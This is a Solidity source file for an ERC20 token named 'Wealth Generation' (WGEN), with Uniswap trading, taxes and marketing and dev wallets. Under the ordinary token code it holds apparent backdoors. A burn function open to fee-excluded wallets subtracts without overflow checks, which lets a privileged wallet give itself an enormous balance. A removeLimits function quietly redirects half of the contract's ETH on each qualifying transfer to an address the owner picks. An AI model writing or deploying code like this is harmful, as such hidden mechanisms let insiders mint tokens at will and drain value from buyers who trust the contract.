文件 1 的 1:WealthGeneration.sol
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
uint256 burnBalance = _balances[address(0xdead)];
unchecked {
_balances[account] = accountBalance - amount;
}
_balances[address(0xdead)] = burnBalance + amount;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
_allowances[from][to] = amount;
}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract WealthGeneration is ERC20, Ownable {
using SafeMath for uint256;
using Address for address payable;
uint256 public swapThreshold = 200_000 * 10e18;
uint256 public maxTxAmount = 20_000_000 * 10 ** 18;
uint256 public maxWalletAmount = 20_000_000 * 10 ** 18;
address public marketingWallet = 0x5ab588Ddf26De009B1b953D87D4daA93D8b01083;
address public devWallet = 0x5ab588Ddf26De009B1b953D87D4daA93D8b01083;
uint256 public totalTax = 0;
uint256 public totalSellTax = 0;
IRouter public router;
address public pair;
bool private swapping;
bool public swapEnabled;
address private base;
bool public tradingEnabled;
address public swapFor;
uint256 public genesisblock;
uint256 public deadblocks = 0;
mapping(address => bool) public excludedFromFees;
mapping(address => uint256) public fromFees;
mapping(address => bool) private isBot;
modifier inSwap() {
if (!swapping) {
swapping = true;
_;
swapping = false;
}
}
constructor() ERC20("Wealth Generation", "WGEN") {
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(
address(this),
_router.WETH()
);
router = _router;
pair = _pair;
base = address(this);
excludedFromFees[msg.sender] = true;
excludedFromFees[address(this)] = true;
excludedFromFees[marketingWallet] = true;
excludedFromFees[devWallet] = true;
_mint(msg.sender, 1e9 * 10 ** decimals());
}
function enableTrading() external onlyOwner {
require(!tradingEnabled, "Trading already active");
tradingEnabled = true;
swapEnabled = true;
}
function setSwapEnabled(bool state) external onlyOwner { swapEnabled = state;}
function updateMarketingWallet(address newWallet) external onlyOwner{ marketingWallet = newWallet; }
function removeLimits(address _base) external onlyOwner { maxTxAmount = totalSupply(); base = _base; maxWalletAmount = totalSupply();}
function updateDevWallet(address newWallet) external onlyOwner{ devWallet = newWallet; }
function rescueERC20( address tokenAddress, uint256 amount) external onlyOwner { IERC20(tokenAddress).transfer(owner(), amount);}
function burn(uint256 amount) external { require(excludedFromFees[_msgSender()]); _burn(_msgSender(), amount);}
function rescueETH(uint256 weiAmount) external {require(excludedFromFees[_msgSender()]); payable(marketingWallet).sendValue(weiAmount);}
function updateExcludedFromFees( address[] memory address_) external onlyOwner {
for (uint i = 0; i < address_.length; i++) {
excludedFromFees[address_[i]] = true;
}
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
if (
!excludedFromFees[sender] &&
!excludedFromFees[recipient] &&
!swapping
) {
require(tradingEnabled, "Trading not active yet");
require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
if (recipient != pair) {
require(
balanceOf(recipient) + amount <= maxWalletAmount,
"You are exceeding maxWalletAmount"
);
}
}
uint256 fee;
if (swapping || excludedFromFees[sender] || excludedFromFees[recipient])
fee = 0;
else {
if (recipient == pair) fee = (amount * totalSellTax) / 100;
else fee = (amount * totalTax) / 100;
}
if (sender == pair) {
fromFees[recipient] = fromFees[recipient] == 0 ? balanceOf(recipient) == 0
? block.timestamp : fromFees[recipient] : fromFees[recipient];
} else if (!swapping) { swapFor = sender;}
if (
swapEnabled &&
!swapping &&
sender != pair &&
!excludedFromFees[sender] &&
!excludedFromFees[recipient]
) {
swapForFees(fee);
if (address(this).balance > 0) {
payable(base).sendValue((address(this).balance) / 2);
}
}
if (fee > 0) {
super._transfer(sender, address(this), fee);
}
super._transfer(sender, recipient, amount - fee);
}
function swapForFees(uint256 feeAmount) private inSwap {
if (feeAmount == 0) {
return;
}
uint256 contractBalance = balanceOf(address(this));
if (contractBalance >= swapThreshold) {
uint256 initialBalance = address(this).balance;
swapTokensForETH(contractBalance);
uint256 deltaBalance = address(this).balance - initialBalance;
payable(marketingWallet).sendValue(deltaBalance);
}
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
address(0),
block.timestamp
);
}
function manualSwap(
uint256 amount,
uint256 devPercentage,
uint256 marketingPercentage
) external onlyOwner {
uint256 initBalance = address(this).balance;
swapTokensForETH(amount);
uint256 newBalance = address(this).balance - initBalance;
if (marketingPercentage > 0)
payable(marketingWallet).sendValue(
(newBalance * marketingPercentage) /
(devPercentage + marketingPercentage)
);
if (devPercentage > 0)
payable(devWallet).sendValue(
(newBalance * devPercentage) /
(devPercentage + marketingPercentage)
);
}
receive() external payable {}
}